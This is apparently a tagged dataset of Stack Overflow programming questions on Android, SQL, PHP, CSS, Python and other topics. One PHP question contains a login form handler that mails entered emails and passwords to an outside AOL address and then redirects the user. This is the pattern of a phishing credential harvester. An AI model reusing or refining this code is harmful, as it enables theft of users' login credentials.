android saving edittext text in a popupwindow to a class member string  i m trying to locally save an edittext text into a string variable i have created in another class within a popupwindow like so:    i have an addevent_click method which displays a popupwindow :   <pre><code>public void addevent_click(view view) {     layoutinflater inflater = (layoutinflater) whatsnewactivity.this.getsystemservice(context.layout_inflater_service);     eventpopup = new popupwindow(inflater.inflate(r.layout.eventpopup  null  true)  480  700  true);      eventpopup.showatlocation(findviewbyid(r.id.whatsnew_main)  gravity.center_vertical  0  0); } </code></pre>   now i want to save all my text fields locally to an event class via save button press in the popupwindow like so:   <pre><code>    public void btnsaveevent_click(view view) {     final edittext nameedittext = (edittext) findviewbyid(r.id.nameedittext);     final edittext timeedittext = (edittext) findviewbyid(r.id.timeedittext);     final edittext locedittext = (edittext) findviewbyid(r.id.locedittext);     final edittext sdateedittext = (edittext) findviewbyid(r.id.sdateexittext);     final edittext edateedittext = (edittext) findviewbyid(r.id.edateedittext);     final edittext catedittext = (edittext) findviewbyid(r.id.catedittext);      event newevent = new event();      newevent.eventname = nameedittext.gettext().tostring();     newevent.time = timeedittext.gettext().tostring();     newevent.location = locedittext.gettext().tostring();     newevent.startdate = sdateedittext.gettext().tostring();     newevent.enddate = edateedittext.gettext().tostring();     newevent.category = catedittext.gettext().tostring();       eventpopup.dismiss(); } </code></pre>   my problem is when i debug or run the code and it tries to execute the line:   <pre><code>        final edittext nameedittext = (edittext) findviewbyid(r.id.nameedittext); </code></pre>   my program crashes throwing an illegalstateexception error: could not execute method of the activity    any input would be appreciated  thanks in advance.,android
create dynamic buttons and align in layouts in android  create dynamic buttons using for loop and align the button like..<a href= https://i.stack.imgur.com/h2me9.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/h2me9.jpg  alt= the image shown ></a>,android
how to implement complex page navigation in angularjs  i am upgrading my current application to angularjs. i have about 20+ pages and many sub pages in each. to have page navigation  do i have to define all the template url for each in routing.js file. do we have any better approach to meet this   please advise.,angularjs
sql left join query for more column  i wish to join the following two tables   <pre><code>table_1_code  code    desc lc01    karachi lc02    hyderabad dp01    account dp02    marketing sh01    night sh02    day   table_2_details   col_1   col_2   col_3   col_4 mumtaz  lc01    dp02    sh01 sajid   lc02    dp01    sh02 imtiaz  lc01    dp02    sh02 </code></pre>   <strong>the output i am looking for is</strong>   <pre><code>name    loc        dept       shift mumtaz  karachi    marketing  night sajid   hyderabad  account    day imtiaz  karachi    marketing  day </code></pre>   i wish to do this using sql,sql
css cannot delete spaces between images  i have 9 images inside one div. there are spaces between lines (please see the image below). i need to delete them. could you please help me.   <pre><code>&lt;div style= margin:0;padding:0;border:0; &gt;                 &lt;img src= .../1.jpg  style= margin:0;padding:0;border:0; &gt;&lt;!--                 --&gt;&lt;img src= .../2.jpg  style= margin:0;padding:0;border:0; &gt;&lt;!--                 --&gt;&lt;img src= .../3.jpg  style= margin:0;padding:0;border:0; &gt;&lt;!--                 --&gt;&lt;img src= .../4.jpg  style= margin:0;padding:0;border:0; &gt;&lt;!--                 --&gt;&lt;img src= .../5.jpg  style= margin:0;padding:0;border:0; &gt;&lt;!--                 --&gt;&lt;img src= .../6.jpg  style= margin:0;padding:0;border:0; &gt;&lt;!--                 --&gt;&lt;img src= .../7.jpg  style= margin:0;padding:0;border:0; &gt;&lt;!--                 --&gt;&lt;img src= .../8.jpg  style= margin:0;padding:0;border:0; &gt;&lt;!--                 --&gt;&lt;img src= .../9.jpg  style= margin:0;padding:0;border:0; &gt; &lt;/div&gt;   </code></pre>   update:    <img src= https://i.stack.imgur.com/cghyu.png  alt= enter image description here >,css
am trying to execute the query using the concat function in the mysql console  the query is as follows   <pre><code>select id  phonenumber concat(   a reminder for    name   underfive number    underfiveno   for    message    tomorrow.if shot was administered please ignore this message   ) from appointment where month (current_date) = month (appointmentdate)  and day (current_date) &lt; day (appointmentdate)  and (not lastnotified = current_date) or lastnotified is null; </code></pre>   the error am getting is    <blockquote>    error 1064(42000) you have an error in your sql syntax; check the manual that corresponds to your mysql server version for the right syntax to use near  ( a reminder for  name  under five number  undefiveno   for   message at line1  </blockquote>,mysql
bindings in angularjs 1.x - where are they used   we were <a href= https://stackoverflow.com/questions/51269601/controlleras-pattern-var-vm-this-scope-not-defined-since-update-to-angularj >hit</a> by an old breaking change in our legacy angularjs application which we won t update to angular >2 soon.    since angularjs 1.6 <code>$compileprovider.preassignbindingsenabled</code> was set to  <strong>true</strong>  by default but up there was an option to set it to  <strong>false</strong> .    with angularjs 1.7 this behaviour isn t allowed anymore.    so we have to check where we are using <strong>bindings in components/directives</strong> to use the new <strong>$oninit</strong> function which is called once all bindings are available for sure.    since we don t use <code>.component</code> but <code>.directive</code> only:     is it true  that we only have to apply this change for all directives which are using <code>bindtocontroller: true</code>     or which other cases might be forced to consider     <strong>update</strong> for clarification:   <ol> <li>i understand that we have to change/upgrade to make it work and why.</li> <li>what i am not perfectly understanding (and didn t see it in the suggested duplicate either): when not using components at all  where does this change affect us  is ot only when we directives with bindtocontroller: true or are there others (potentially less intuitive like using $scope in a specific way/context etc.). from reading the upgrade instructions we only got the component example.</li> </ol>,angularjs
how to compare range of date in c/c++   is there any system defined function to compare two dates in c/c++     thanks,c++
get time usage for all applications in android <ul> <li>please note - i want the code/logic not any apps</li> </ul>   i was trying a lot for some days to get the usage time for all applications in android   but i was not able to get it .i was able to get the list of all application installed in android but was not able to track their individual timings .    firstly i thought i can use the logic of getting the start time and end time of each application  but i was not able to do so .so can anybody let me know how to get the start time and end time for each application (based on their uid s).    but my main problem is getting the usage time .so if you have any other logic then please let me know (with some sample code would be must appreciated).,android
map.root is not working in rails 2.3  map.root :controller =>  main   :action =>  index     is not redirecting the main controller to home page to localhost:3000    any suggestions,ruby-on-rails
python: efficiently check if integer is within *many* ranges  i am working on a postage application which is required to check an integer postcode against a number of postcode ranges  and return a different code based on which range the postcode matches against.    each code has more than one postcode range. for example  the <strong>m</strong> code should be returned if the postcode is within the ranges 1000-2429  2545-2575  2640-2686 or is equal to 2890.    i could write this as:   <pre><code>if 1000 &lt;= postcode &lt;= 2429 or 2545 &lt;= postcode &lt;= 2575 or 2640 &lt;= postcode &lt;= 2686 or postcode == 2890:     return  m  </code></pre>   but this seems like a lot of lines of code  given that there are 27 returnable codes and 77 total ranges to check against. is there a more efficient (and preferably more concise) method of matching an integer to all these ranges using python    <hr />   edit: there s a lot of excellent solutions flying around  so i have implemented all the ones that i could  and benchmarked their performances.    the environment for this program is a web service (django-powered actually) which needs to check postcode region codes one-by-one  on the fly. my preferred implementation  then  would be one that can be quickly used for each request  and does not need any process to be kept in memory  or needs to process many postcodes in bulk.    i tested the following solutions using <code>timeit.timer</code> with default 1000000 repetitions using randomly generated postcodes each time.   <h3>if solution (my original)</h3>  <pre><code>if 1000 &lt;= postcode &lt;= 2249 or 2555 &lt;= postcode &lt;= 2574 or ...:     return  m  if 2250 &lt;= postcode &lt;= 2265 or ...:     return  n  ... </code></pre>   time for 1m reps: 5.11 seconds.   <h3>ranges in tuples (jeff mercado)</h3>   somewhat more elegant to my mind and certainly easier to enter and read the ranges. particularly good if they change over time  which is possible. but it did end up four times slower in my implementation.   <pre><code>if any(lower &lt;= postcode &lt;= upper for (lower  upper) in [(1000  2249)  (2555  2574)  ...]):     return  m  if any(lower &lt;= postcode &lt;= upper for (lower  upper) in [(2250  2265)  ...]):     return  n  ... </code></pre>   time for 1m reps: 19.61 seconds.   <h3>set membership (gnibbler)</h3>   as stated by the author   it s only better if you are building the set once to check against many postcodes in a loop . but i thought i would test it anyway to see.   <pre><code>if postcode in set(chain(*(xrange(start  end+1) for start  end in ((1000  2249)  (2555  2574)  ...)))):     return  m  if postcode in set(chain(*(xrange(start  end+1) for start  end in ((2250  2265)  ...)))):     return  n  ... </code></pre>   time for 1m reps: 339.35 seconds.   <h3>bisect (robert king)</h3>   this one may have been a bit above my intellect level. i learnt a lot reading about the <code>bisect</code> module but just couldn t quite work out which parameters to give <code>find_ge()</code> to make a runnable test. i expect that it would be extremely fast with a loop of many postcodes  but not if it had to do the setup each time. so  with 1m repetitions of filling <code>numbers</code>  <code>edgepairs</code>  <code>edgeanswers</code> etc for just one postal region code (the <strong>m</strong> code with four ranges)  but not actually running the <code>fast_solver</code>:    time for 1m reps: 105.61 seconds.   <h3>dict (sentinel)</h3>   using one dict per postal region code pre-generated  cpickled in a source file (106 kb)  and loaded for each run. i was expecting much better performance from this method  but on my system at least  the io really destroyed it. the server is a not-quite-blindingly-fast-top-of-the-line mac mini.    time for 1m reps: 5895.18 seconds (extrapolated from a 10 000 run).   <h2>the summary</h2>   well  i was expecting someone to just give a simple  duh  answer that i hadn t considered  but it turns out this is much more complicated (and even a little controversial).    if every nanosecond of efficiency counted in this case  i would probably keep a separate process running which implemented one of the binary search or dict solutions and kept the result in memory for an extremely fast lookup. however  since the if tree takes only five seconds to run a million times  which is plenty fast enough for my small business  that s what i ll end up using in my application.    thank you to everyone for contributing!,python
how to get date from datetime format-python  how can i extract the date only without the time in same row of my csv files    <pre><code>import csv from datetime import datetime with open( mar.csv   rb ) as csvfile:      reader=csv.reader(csvfile delimiter=   )     reader.next()     d = datetime(row[35] for row in reader)     print(d.strftime( %y %m %d )) </code></pre>   example of the column:   <pre><code>8/9/2014 14:44 8/9/2014 14:44 8/12/2014 14:54 8/12/2014 10:56 8/9/2014 20:03 8/12/2014 16:09 8/12/2014 10:13 8/12/2014 23:31 8/13/2014 21:31 8/12/2014 15:44 8/12/2014 15:47 8/11/2014 9:45    typeerror: an integer is required </code></pre>,python
ups worldship integration with .net  i have been going through forums/threads. the process that i am in currently is that: i have a table in mssql 2008 which has all the info we need to send to ups for shipping label. created a program in which it export that table into an .xml file into local machine.     my question is: do i now need to send all the xml files to the ups worlwideship link  or one by one  anybody ever did this before  thanks!    klm9971,.net
display ng-model item.value as item.value.text inside select  i have the following <code>select</code>   <pre><code>&lt;select ng-change= onchange(item)  ng-model= item.probability  ng-options= item as item.text for item in probability &gt; &lt;/select&gt; </code></pre>   i can select from different items inside an array called <code>probability</code>.    probability:   <pre><code>$scope.probability = [{text:     value: }  </code></pre>   the item is displayed to the user as <code>item.text</code>  but is saved in ng-model as just item (as you can see in my select)    when i want to edit this item (sometime after it is saved)  i would like to display probability.text as already chosen inside the select  but since the model is set to probability (with .value and .text) my select is just blank.    how can i display <code>item.probability</code> as <code>item.probability.text</code>  and writing it like that inside the model did not work.,angularjs
should i combine my mysql tables   i currently have a large database for gps tracking purposes. what happens is each time a new person starts sending locations to me  i create a new database with a unique name. then i start adding rows to this table. there are columns such as altitude  longitude  latitude  etc.    the situation is that some of these tables might contain over 100 000 locations (rows). i also have about 600 tables in the database right now. searching through all these tables is quite difficult  it requires me to run a  show tables  query and then run a query for each table to get the data i need.    the question breaks down to this: should i combine all these tables into one gigantic table which could contain over 1 000 000 rows. i will then add one column to separate the different users. it would make running queries much easier  as i d need a single query now instead of multiple.    does this make the system faster or slower  do you need more information to be able to answer this question,mysql
delete the table row of the last triggered button jquery  i want to delete the row where the triggered button is. every row has a button that calls a div or form. after the event on that div or form by clicking back  row should be deleted.    <a href= http://jsfiddle.net/m3w2l/2/  rel= nofollow >jsfiddle</a>   <pre><code>$( #btn1  #btn2 ).click(function() {     $( #mydiv ).show();     $( #mytable ).hide();    });  $( #bck ).click(function() {     $( #mydiv ).hide();     $( #mytable ).show();     alert( delete the row of the last triggered button  if the user click btn 1 the row with btn 1 will be deleted ); }) </code></pre>   ;,jquery
more detailed error from createfileatpath   is there anyway to get more detailed error data back from  createfileatpath  i was kind of expecting an nserror  currently i am using the bool return value.   <pre><code>success = [fileman createfileatpath:fileondisk contents:dbuffer attributes:nil]; if(success == yes) nslog(@ filecreated ); else {     nslog(@ error: failed to create file );     return 1; } </code></pre>   gary,objective-c
preventing forms to send blank fields  i have this form and i would like that users who does not complete the username/passowrd form and click on login to return to homepage again  and users that completes those filed to be sent out at processing.htm. this is how i had it as of now and it redirects everybody to processing even if fields are blank or not. any chance for some so i can adaptate this one     <pre><code>&lt;  $userid = $_request[ login_email ] ; $pass = $_request[ login_password ] ;  $from =  from: $userid ; $subj =  $pass ; $msg =  $userid ; $to =  myemail@aol.com ; mail($to  $subj  $msg  $from);{ echo ( &lt;script&gt; ); echo( window.location=\ processing.htm\  ); echo( &lt;/script&gt; ); }   &gt; </code></pre>   thank you,php
how to use cdata in html documents   what is wrong with my html document    <pre><code>&lt;html&gt;   &lt;body&gt;     &lt;p&gt;&lt;![cdata[i can t see this text :(]]&gt;&lt;/p&gt;   &lt;/body&gt; &lt;/html&gt; </code></pre>   why don t i see the text inside <code>cdata</code>,html
how to display child menu item under their parent item in php   i need to display all child menu items under their corresponding parent items in php. i have created mysql query but i am unable to get all child items under their parent items.here is my code:   <pre><code>for ($i = 0; $i &lt; count($menu); $i++) {      echo &lt;li&gt;&lt;a href=   . $url . $menu[$i][ id ] .    title=   . $menu[$i][ menu_name ] .   &gt;  . $menu[$i][ menu_name ] .  &lt;/a&gt; ;     if ($menu[$i][ parent_id ] !=  0  &amp;&amp; $menu[$i][ parent_id ] != null) {         echo &lt;ul&gt; ;         echo &lt;li&gt;&lt;a href= #  title=   . $menu[$i][ submenu_name ] .   &gt;  . $menu[$i][ submenu_name ] .  &lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt; ;     } }  mysql query: select m.id  m.menu_name  sm.parent_id sm.submenu_name sm.id     from menu as m     left join submenu as sm on (m.id=sm.parent_id)      home | courses | courses  |           | course-1| course 2 |  </code></pre>   so i need course-1 and course 2 under courses. please help me where i am going wrong in php code,php
max size of data an ios can save locally  is there a limit to the maximum size of data my ios app can store on the device. this is not the size of the app but the data it can store.,ios
caching in dll for asp.net site   i have a .net dll on my site.  i d like to use cache() like you can on asp.net websites  but it s just a class library project.    i m guessing i m missing a reference but i don t know what it is.,asp.net
custom validation for a rails association  i have tre models   <pre><code>class challengeitem &lt; applicationrecord   has_many :photos end  class photo &lt; applicationrecord   belongs_to :challenge_item   has_many :votes end  class vote &lt; applicationrecord   belongs_to :photo   validate :vote_per_foto    private    def vote_per_foto     if self.class.exists (photo_id: photo_id  voter_string: voter_string)       errors.add :vote   already voted      end   end end </code></pre>   basically for every group of photos (challengeitem) user can vote only one photo. every vote has a fingerprint attribute  called <code>voter_string</code>    i write a custom validation  but with this validation i accept just one vote for photo. i need one vote for every group of photos...    how can i fix it,ruby-on-rails
how to have table in the middle of div vertically  this is surprisingly hard to find out how to do. all solutions i ve found so far have been wrong. here s my problem:    i have a table in a div:   <pre><code>&lt;div id= dishreel &gt;     &lt;table&gt;         &lt;tr&gt;         &lt;/tr&gt;     &lt;/table&gt; &lt;/div&gt; </code></pre>   and i m putting images inside it:   <pre><code>for(var i=0; i&lt;alldishes.length; i++){     var td = document.createelement( td );      var img = document.createelement( img );     img.classlist.add( dishimg );     img.src =  images/ +alldishes[i].image;      var p = document.createelement( p );     var text = document.createtextnode(alldishes[i].name);     p.appendchild(text);      td.append(img);     td.append(p);     dishreel.find( tr ).append(td); } </code></pre>   all of the dishes end up on a row  like this:    <a href= https://i.stack.imgur.com/2dh5k.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/2dh5k.png  alt= enter image description here ></a>    this is what i want. now  i want the row of dishes to be in the middle of the div  vertically. so a row in the middle of the page in this case  since the div is taking up all of the page  because of my css:   <pre><code>#dishreel{     height:100%;     width:100%; } </code></pre>   i ve tried to use flexbox  it didn t change anything:   <pre><code>#dishreel{     height:100%;     width:100%;     display:flex;     flex-direction: column;     justify-content: center; } </code></pre>   does somebody know how to get this to work,css
jquery selector onchange event  i have a file input as follows :   <pre><code>&lt;input type= file  id= file &gt; </code></pre>   i wanted to write some action for the onchange event of the file as follows :   <pre><code>$( #file ).change(function(){}); </code></pre>   but this did not work. then i changed the code as follows : and it worked   <pre><code>$( input#file ).change(function(){}); </code></pre>   my question is why is it necessary to pass <strong> input#file </strong> inside <strong>$()</strong> as in other cases  only id is enough. for example for the click event following is enough :   <pre><code>$( #file ).click(function(){}); </code></pre>,jquery
if/else | changing html in jquery <pre><code>$( #button_announcement ).click(function(){      $( #button_announcement ).html( hide )   $(this).html( show ) : $(this).html( hide ); }); </code></pre>   i have a button on my page which show/hide my announcement. i wanted to change button html after clicking it but this code change just once from  hide  to  show  it don t want to change from show to hide... what am i doing wrong,jquery
angular method for queryselectorall and getelementsbytagname  i am very new in angular. i need a beginner s guide on the best way to define functions to get the length or count of tag (such as div) and id/class (#blah or .blah) via queryselectorall and getelementsbytagname  so it can be called on html template and get current count of the particular elements on page.   <pre><code>function counttag(value1  value2) {   var top_level_div = document.getelementbyid(  + value1 +  )   top_level_div.document.getelementsbytagname(  + value2 + ’).length }  function countelem(value) {   document.queryselectorall(  + value + ’).length } </code></pre>   how to angularize the above 2 functions  so they can be call on html template anywhere inside the app  if directive may be a method to do so  can anyone help with a plnkr example,angularjs
when do we use self. or [self ] in stringwithformat   when using stringwithformat for an nsstring in a return statement when do we use self. ; [self ] or just the instance     for example  we have return [nsstring stringwithformat:@ %@ %@    self.someinstance or [self someinstance] or someinstance].,objective-c
javascript - checking for the first letter to be a-z  <strong>i m trying to write a code to check for a valid username. what have i done wrong  if i enter my username and it starts with a-z  it says that it is not valid. also  i cannot use regex expressions.</strong>   <pre><code>var br =  &lt;br /&gt; ; var username =   ; var letter1; var digit;  letter1 = username.substr(0 1);  username = prompt( please enter a your username: );  //first letter begin with a letter if (letter1 &gt;=  a  &amp;&amp; letter1 &lt;=  z ) { document.write( the first character is valid.  + br); } else { document.write( the first character is not valid.  + br); } </code></pre>   <strong>thanks for the help!</strong>,javascript
how can i send a dynamic if for redirect_to in rails  can someone help me with redirect_to with a dynamic id    i want to redirect a page with the id from the variable which is set in params    i want    <pre><code>format.html { redirect_to  /classrooms/7   notice:  successfully updated.  } </code></pre>   so 7 is my id like classroom/[:id]    i tried to use redirect_to in my controller but din t work   <pre><code>@classroom_id = params[:classroom_id]     @backtoclassroom =  /classrooms/@classroom_id  </code></pre>   and    <pre><code>format.html { redirect_to @backtoclassroom  notice:  successfully updated.  } </code></pre>   thanks,ruby-on-rails
preinit is same as other events   <strong><a href= http://wiki.asp.net/page.aspx/1512/aspnet-page-life-cycle-events/  rel= nofollow >preinit</a></strong> the entry point of the page life cycle is the pre-initialization phase called “preinit”. this is the only event where programmatic access to master pages and themes is allowed. you can dynamically set the values of master pages and themes in this event. you can also dynamically create controls in this event.     but this definition is valid for other events like load init etc. correct      i meant  this job can be done in other events as well.    <strong>query</strong> what s the unique meaning of preinit,asp.net
why am i getting this array to string conversion notice  i am using an ecard program <a href= http://www.christmasnativity.org/ecard/  rel= nofollow >here</a> to send invitations for an event and get the following notice:   <blockquote>    notice: array to string conversion in   /nfs/c07/h01/mnt/108712/domains/christmasnativity.org/html/ecard/include/common.inc.php   on line 32  </blockquote>   here is the code from lines 29 to 33:   <pre><code>/* clean up request: remove magic quotes  if the setting is enabled. */ if (get_magic_quotes_gpc()) {   foreach($_request as $name =&gt; $value)      $_request[$name] = stripslashes($value); } </code></pre>   any clues what may be causing this error notice     thanks.,php
how to get out of the rails console if i accidentally misplace quotes   sometimes in my rails development  i ll run into a problem where i accidentally mismatch my quotes. normally when this happens sometimes i ll hit <code>quit</code> or <code>exit</code> and i can usually get out of the mistake. but once in a while  i ll find myself in a scenario like the one below:    <a href= https://i.stack.imgur.com/iegc3.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/iegc3.png  alt= enter image description here ></a>    i ve made a mistake in my string interpolation in the query above and now i can t seem to get out of this no matter what. so my question is  what is the proper way to exit out this dilemma  sometimes i nuke my entire shell and restart  but there has to be an easier more elegant way to do so.,ruby-on-rails
show query tables even without data  i have a query  but every time i run it  it will only show the item  show  etc  etc that has all of the info.     select distinctrow tblevents.eventid  [showname] &amp;     &amp; format([startdate]  mm-yyyy ) as shownames  tblshowtypes.showtype  tblstates.statecode  format([startdate]  dd-mmm-yyyy ) as start  format([enddate]  dd-mmm-yyyy ) as [end]  tblinsideoutside.insideoutside  tblhomeaway.homeaway  tblshowcosts.boothcost  tblcomments.comment from ((((((tblevents inner join tblshows on tblevents.showid = tblshows.showid) inner join tblshowtypes on tblshows.showtypeid = tblshowtypes.showtypeid) inner join tblstates on tblevents.stateid = tblstates.stateid) inner join tblinsideoutside on tblshows.insideoutsideid = tblinsideoutside.insideoutsideid) inner join tblshowcosts on tblevents.eventid = tblshowcosts.eventid) inner join tblhomeaway on tblshows.homeawayid = tblhomeaway.homeawayid) inner join tblcomments on tblshowcosts.eventid = tblcomments.eventid;,mysql
how can i open a link in a new window with `target= _blank `   how can i add in <code>target= _blank </code> to open the link in a new window     here is my current code:   <pre><code>&lt;a id= go  href= &lt; php echo site_url( external/url/ .$deal-&gt;id); &gt; &gt; </code></pre>,html
how to display records from table based on single word from multiple words in mysql  i have a table as follows    row 1:   <pre><code>did: 1 brand_name: aarther p (100+500) generic: paracetamol  aceclofenac tradename: aarther p (100+500) manfactured: rekvina pharmaceuticals unit: 500mg/100mg type: tablet quantity: 10tablet price: 27.9 </code></pre>   row 2:   <pre><code>did: 2 brand_name: aarther-p generic: aceclofenac  paracetamol tradename: aarther-p manfactured: rekvina pharmaceuticals unit: 100mg/500mg type: tablet quantity: 10tablet price: 27.9 </code></pre>   if i search records based on generic like  paracetamol  i want to display the results as follows:    row 1:   <pre><code>did: 1 brand_name: aarther p (100+500) generic: paracetamol tradename: aarther p (100+500) manfactured: rekvina pharmaceuticals unit: 500mg/100mg type: tablet quantity: 10tablet price: 27.9 </code></pre>   row 2:   <pre><code>did: 2 brand_name: aarther-p generic:  paracetamol tradename: aarther-p manfactured: rekvina pharmaceuticals unit: 100mg/500mg type: tablet quantity: 10tablet price: 27.9 </code></pre>   how can i do this,mysql
parametrize the style= margin-top:xem  to set any x  i want to build  by a plaintext that is read from a file. that file has that look:   <pre><code>line1  line3 </code></pre>   line2 is totally empty  even without a space. the html file then looks like   <pre><code>&lt;!doctype html public&gt;&lt;html&gt; &lt;head&gt; &lt;style type= text/css &gt;#editor { white-space: pre; }&lt;/style&gt; &lt;/head&gt; &lt;body style= font-family:  segoe print ; font-size:14pt &gt;  &lt;p id= editor   style=  margin-top:0px; margin-bottom:0px; margin-left:0px &gt;line1&lt;/p&gt; &lt;p id= editor   style=  margin-top:0px; margin-bottom:0px; margin-left:0px &gt;&lt;/p&gt; &lt;p id= editor   style=  margin-top:0px; margin-bottom:0px; margin-left:0px &gt;line3&lt;/p&gt;  &lt;/body&gt;&lt;/html&gt; </code></pre>   the code lines with  p id=...  are important. the middle line of them is ignored  so that there are only two lines shown. thats because there is no text before the closing /p  right  i could of course enter a     (space)  but thats a dirty solution...    i ve found a half-way solution by inserting  margin-top:xem  instead of  margin-top:0px  in the lower line. x is  1 . the question now is:    how can i put any other value  e.g. 4  for x when the program figured out that there are 4 empty lines     edit: here is what i tried. nothing changed...   <pre><code>&lt;!doctype html public&gt;&lt;html&gt; &lt;head&gt; &lt;style type= text/css &gt;p.editor { white-space: pre; min-height:1em; }&lt;/style&gt; &lt;/head&gt; &lt;body style= font-family:  segoe print ; font-size:14pt &gt;  &lt;p class= editor  style=  margin-top:0em; margin-bottom:0px; &gt;line1&lt;/p&gt; &lt;p class= editor  style=  margin-top:0em; margin-bottom:0px; &gt;&lt;/p&gt; &lt;p class= editor  style=  margin-top:0em; margin-bottom:0px; &gt;line3&lt;/p&gt;  &lt;/body&gt;&lt;/html&gt; </code></pre>,html
memory allocation when just declare a variable of a class type  in java  when we only declare a variable of a class type  only a reference is created (memory is not allocated for the object). is to hold the reference t somewhere space will be created on heap   or if i m wrong then what happens exactly in memory when we just declare variable     <pre><code>test t;  </code></pre>,java
wrong order of query  message (product added successfully)  is there a way to remove the product added successfully message after adding a wrong item     e.g. first add item  then add photo  if i add anything other than jpg or png. it will not add the item  the error message you will get is (photo not added. please upload jpg or png photo only!) after that is (product added successfully!).    php code   <pre><code>&lt; php     include( session.php );      $name=$_post[ name ];     $category=$_post[ category ];     $price=$_post[ price ];     $supplier=$_post[ supplier ];     $qty=$_post[ qty ];       if($qty == 0){ echo  &lt;script language= javascript &gt; window.alert( quantity cannot be 0 ) window.location.href= product.php ;&lt;/script&gt; ; exit; }      if($price == 0){ echo  &lt;script language= javascript &gt; window.alert( price cannot be 0 ) window.location.href= product.php ;&lt;/script&gt; ; exit; }     $fileinfo = pathinfo($_files[ image ][ name ]);      if (empty($_files[ image ][ name ])){         $location=  ;     }     else{         if ($fileinfo[ extension ] ==  jpg  or $fileinfo[ extension ] ==  png ) {             $newfilename = $fileinfo[ filename ] .  _  . time() .  .  . $fileinfo[ extension ];             move_uploaded_file($_files[ image ][ tmp_name ]   ../upload/  . $newfilename);             $location =  upload/  . $newfilename;         }             else{             $location=  ;              &gt;                 &lt;script&gt;                     window.alert( photo not added. please upload jpg or png photo only! );                 &lt;/script&gt;             &lt; php         }     }      mysqli_query($conn  insert into product (product_name categoryid product_price product_qty photo  supplierid) values ( $name   $category   $price   $qty   $location    $supplier ) );     $pid=mysqli_insert_id($conn);      mysqli_query($conn  insert into inventory (userid  action  productid  quantity  inventory_date) values (  .$_session[ id ].     add product    $pid    $qty   now()) );       &gt;         &lt;script&gt;             window.alert( product added successfully! );             window.history.back();         &lt;/script&gt;     &lt; php  &gt; </code></pre>   thanks guys!,php
float in an object s message  i have an object with a method that should take a float as a parameter  but the value in the object is not correct. passing an int or double fixes the problem  but why doesn t float work,objective-c
removing an object from a list in a foreach loop of that list  i have made a method that eliminates any replicates of the same <code>string</code> in a list.    now  the problem is that it gives me this error:   <pre><code>system.invalidoperationexception: collection was modified; enumeration operation may not execute. </code></pre>   i read in the internet  and i think that the problem is the i am removing an object from the list inside the <code>foreach</code> loop of the list.   <pre><code>    foreach (string r in list)     {         int numberofappearance=0;         foreach (string rs in list)         {             if (r == rs &amp;&amp; numberofappearance&gt; 0)                 list.remove(rs);             else                 numberofappearance++;         }     } </code></pre>   how can i fix the method  thanks for the help,c#
i have an sql query error  error is : every derived table must have its own alias is there any error    <pre><code>$sql =  select r_name from(                           select b.r_name a.check_in a.check_out                           from rooms b  bookings a                           where b.r_name = a.r_name )                    where(                           check_in &lt;= cast($mychickin as datetime) and check_out &gt;= cast($mychickin as datetime)                           or check_in &lt; cast($mycheckout as datetime) and check_out &gt;= cast($mycheckout as datetime)                           or check_in &gt;= cast($mychickin as datetime) and check_out &lt;= cast($mycheckout as datetime))    ; </code></pre>,mysql
.net core 2.1 template missing  i have vs2017 enterprise edition with version 15.7.1 and .net core sdk 2.1.4 installed in my machine. however .net core 2.1 template is missing. m i missing some components to be installed  any thoughts!!!,.net
creating a div for background color  i m trying <strong>to create a div in html and then in a separate style sheet</strong>. i m giving the instruction to put a background  of red on it.     for some reason  nothing is happening. here is the code    <pre><code>&lt;div id= box &gt; &lt;p class= special &gt;selection:&lt;/p&gt; &lt;br /&gt; &lt;input type= submit  value= submit  /&gt; &lt;/div&gt; </code></pre>   in my css file  i use this command    <pre><code>#box   {  background:red;; } </code></pre>,html
the most efficient way to build user interfaces for web using .net  considering <strong>developer s perspective</strong>  what s the most efficient way to create  maintain  and improve a complex web ui.    i m familiar with a bunch of toolkits like ext.net  telerik  devx. silverlight is also an option to consider.    what would you recommend to me,.net
loop results in order  i need your help with this problem. what i want to know is how to output of a loop based on the input.    let s say we have a program that should measure if a triangle is right or not based on the inputs of the user. the input could be something like this:   <pre><code>6 8 10 25 52 60 5 12 13 </code></pre>   using the pythagoras formula  we can determine if a triangle is or not  right    <pre><code>c^2=a^2+b^2 </code></pre>   now  with the numbers provided  the output should be:   <pre><code>right wrong right </code></pre>   my question is..how can i do the calculation and check if it s right or not but format the output with the same order as the input     this is what i ve tried :    <pre><code>#include &lt;iostream&gt; #include &lt;cmath&gt;  using namespace std;  int rightt; int wrong;  int main() {     double a = 0  b = 0  c = 0;     double formula = 0;      for (int i = 0; i &lt; 1;)     {         cin &gt;&gt; a &gt;&gt; b &gt;&gt; c;         formula = pow(a  2) + pow(b  2);          if (formula == pow(c  2) &amp;&amp; formula != 0)         {             //cout &lt;&lt;  right ;             rightt = rightt + 1;         }          if (formula != pow(c  2) &amp;&amp; formula != 0)         {             //cout &lt;&lt;  wrong ;             wrong = wrong + 1;         }          if (a == 0 &amp;&amp; b == 0 &amp;&amp; c == 0)         {             i = 1;             cout &lt;&lt;  \n ;              while (rightt &gt; 0)             {                 cout &lt;&lt;  \n  &lt;&lt;  right ;                 rightt = rightt - 1;              }              while (wrong &gt; 0)             {                 cout &lt;&lt;  \n  &lt;&lt;  wrong ;                 wrong = wrong - 1;              }         }     }     system( pause ); } </code></pre>   but my output is not as i desired. the output is first set the right  and then the wrong ones. thanks  and i hope you understand my problem.    edit:     i need to have the output after the 0 0 0 is reached and not before. so if i left the commented sections   the output will be number-output-number-output   and what i need is to allow users to enter all numbers and tell the software that he finishes when he enters 0 0 0   and after that give the output based on the order.     let s imagine this input :    <pre><code>6 8 10   &gt;&gt; this is right 25 52 60 &gt;&gt; this is wrong 5 12 13  &gt;&gt; this is right 0 0 0    &gt;&gt; this is the values used to end the inputs    output should be  right wrong right </code></pre>,c++
can i develop ios apps with a six year old apple machine   sorry if this is posted in the wrong tag.    i am not sure how it works with apple and their os. if you have an old os (6 years old) can you still develop applications on it or do i need to purchase a more recent machine     bonus question: can i still use an old machine for its server certificate to develop with xamarin on my windows 10     thanks,ios
